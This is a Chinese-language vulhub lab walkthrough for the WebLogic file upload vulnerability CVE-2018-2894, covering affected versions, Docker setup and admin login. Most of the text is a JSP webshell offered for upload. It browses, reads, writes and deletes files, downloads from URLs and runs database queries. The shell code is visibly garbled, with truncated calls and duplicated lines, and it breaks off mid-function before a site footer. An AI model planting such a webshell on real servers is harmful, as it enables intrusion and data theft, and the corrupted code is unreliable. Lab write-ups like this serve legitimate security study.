【vulhub】Weblogic任意⽂件上传漏洞（CVE-2018-2894）
前⾔
Web Service Test Page 在 ‘⽣产模式’ 下默认不开启，所以该漏洞有⼀定限制。两个页⾯分别为/ws_utc/begin.do、
/ws_utc/config.do。
受影响的版本
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
利⽤条件：
1、需要知道部署应⽤的web⽬录
2、ws_utc/config.do在开发模式下⽆需认证，在⽣产模式下需要认证。
weblogic管理页面⼀、启动靶机
docker-compose build
docker-compose up -d
⼆、漏洞检验
执⾏如下命令可查看管理员密码，管理员⽤户名为weblogic，密码为7NAEag6D
docker-compose logs |grep password
利⽤上⾯的账号密码登录weblogic
192.168.150.146:7001/console/login/LoginForm.jsp
<html>
<head>
<title>Test</title>
</head>
<body>
<%
out.println("test");
%>
</body>
</html>
三、漏洞利⽤
jsp⼤马：
<%@page import="java.io.*,java.util.*,java.*,java.sql.*,*"%>
<%!
String Pwd ="Cknife";
String cs ="UTF-8";
String EC(String s) throws Exception {
return new Bytes("ISO-8859-1"),cs);
}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("choraheiheihei");
Class.forName(x[0].trim());
if(x[1].indexOf("jdbc:oracle")!=-1){
Connection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
}else{
Connection c = Connection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
if(x.length >4){
if(x.length >4){
c.setCatalog(x[4]);
}
return c;
}
}
void AA(StringBuffer sb) throws Exception {
File k = new File("");
File r[]= k.listRoots();
for(int i =0; i < r.length; i++){
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[]= oF.listFiles();
String sT, sQ, sF ="";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for(int i =0; i < l.length; i++){
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R":"";
sQ += l[i].canWrite() ? " W":"";
if(l[i].isDirectory()){
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
}else{
sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if(f.isDirectory()){
File x[]= f.listFiles();
for(int k =0; k < x.length; k++){
if(!x[k].delete()){
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));        os.write(("->" + "|").getBytes(),0,3);
while ((n = is.read(b,0,512))!= -1){
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(),0,3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(s);
FileOutputStream os = new FileOutputStream(f);
FileOutputStream os = new FileOutputStream(f);
for (int i =0; i < d.length(); i +=2) {
os.write((h.indexOf(d.charAt(i))<<4| h.indexOf(d.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df= new File(d);
if(sf.isDirectory()){
if(!df.exists()){
df.mkdir();
}
File z[]= sf.listFiles();
for(int j =0; j < z.length; j++){
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
}else{
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while((n = is.read(b,0,512))!= -1){
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df= new File(d);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");        java.util.Date dt = fm.parse(t);
f.Time());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n =0;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h =(HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while((n = is.read(b))!= -1){
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while((l = br.readLine())!= null){
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = s.indexOf("jdbc:oracle")!=-MetaData().getSchemas():c.getMetaData().getCatalogs();
()){
sb.String(1) + "\t|\t\r\n");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] x = s.trim().split("choraheiheihei");
ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
()){
sb.String("TABLE_NAME") + "\t|\t\r\n");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
ResultSetMetaData d = r.getMetaData();
for(int i =1; i <= d.getColumnCount(); i++){
sb.ColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
BufferedWriter bw = null;
try {
ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for(int i =1; i <= n; i++){
sb.ColumnName(i) + "\t|\t");
}
sb.append("\r\n");
if(q.indexOf("--f:")!=-1){
File file= new File(p);
if(q.indexOf("-to:")==-1){
file.mkdir();
}
bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-im():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
}
()){
for(int i =1; i <= n; i++){
if(q.indexOf("--f:")!=-1){
bw.Object(i)+""+"\t");
bw.flush();
}else{
sb.Object(i)+"" + "\t|\t");
sb.Object(i)+"" + "\t|\t");
}
}
if(bw!=null){bw.newLine();}
sb.append("\r\n");
}
r.close();
if(bw!=null){bw.close();}
} catch (Exception e){
sb.append("Result\t|\t\r\n");
try {
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee){
sb.String() + "\t|\t\r\n");
}
}
m.close();
c.close();
}
%>
<%
//String Z = Parameter(Pwd) + "", cs);
cs = Parameter("code")!= null ? Parameter("code")+ "":cs;
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
StringBuffer sb = new StringBuffer("");
Parameter(Pwd)!= null){
try {
String Z = Parameter("action") + "");
String z1 = Parameter("z1") + "");
String z2 = Parameter("z2") + "");
sb.append("->" + "|");
String s = Session().getServletContext().getRealPath("/");
if(Z.equals("A")){
sb.append(s + "\t");
if(!s.substring(0, 1).equals("/")){
AA(sb);
}
}else if(Z.equals("B")){
BB(z1, sb);
}else if(Z.equals("C")){
String l ="";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l = br.readLine())!= null){
sb.append(l + "\r\n");
}
br.close();
}else if(Z.equals("D")){
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));            bw.write(z2);
bw.close();
sb.append("1");
}else if(Z.equals("E")){
EE(z1);
sb.append("1");
}else if(Z.equals("F")){
FF(z1, response);
}else if(Z.equals("G")){
GG(z1, z2);
sb.append("1");
}else if(Z.equals("H")){

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。